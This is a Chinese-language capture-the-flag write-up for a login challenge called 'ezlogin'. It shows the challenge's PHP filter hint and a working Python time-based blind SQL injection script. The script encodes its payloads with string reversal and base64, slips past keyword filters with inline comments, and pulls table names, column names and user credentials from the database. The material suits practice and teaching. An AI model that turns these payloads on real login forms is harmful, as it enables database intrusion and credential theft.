ezlogin

是个登录界面，看到了hint

<!--
$username = strrev(base64_decode($_POST['username']));
$username = preg_replace('/select|union|and|database/', "hznuctf2023", $username);-->

经过测试，只返回一种界面（除了过滤界面），但是后面用时间盲注的时候会出现其他界面。

考虑使用时间盲注，先判断是类型和闭合

<?php
$b="1'||if(1,sleep(5),1)#";
$a=base64_encode(strrev($b));
$c = strrev(base64_decode($a));
echo $a;

1||if(1.sleep(5),1)#
1'||if(1,sleep(5),1)#

发现是单引号闭合

import requests
import base64
import datetime

url='http://43.142.108.3:28279/'
flag = ''

for i in range(1,100):
    low = 32
    high = 130
    mid = (high + low) // 2
    while (low < high):
        #payload = "1'||if((ascii(substr((DATABASE()),{},1)))>{},sleep(1),1)#"
        #payload = "1'||if((ascii(substr((SELECT/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/DATABASE()),{},1)))>{},sleep(1),1)#"
        #payload = "1'||if((ascii(substr((SELECT/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/DATABASE()/**/AND/**/table_name/**/like/**/'user'),{},1)))>{},sleep(1),1)#"
        payload = "1'||if((ascii(substr((SELECT/**/group_concat('username','^''password')/**/from/**/users.user),{},1)))>{},sleep(1),1)#"

        payload = payload.format(i, mid)
        print(payload)
        payload = base64.b64encode(payload[::-1].encode("utf-8"))
        data = {
            'username':payload,
            'passwd':'1'
        }
        time1 = datetime.datetime.now()
        r = requests.post(url, data)
        time2 = datetime.datetime.now()
        time = (time2 - time1).seconds
        if time > 1:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2
    if (mid == 32 or mid == 130):
        break
    flag += chr(mid)
    print(flag)

users
user
id,username,password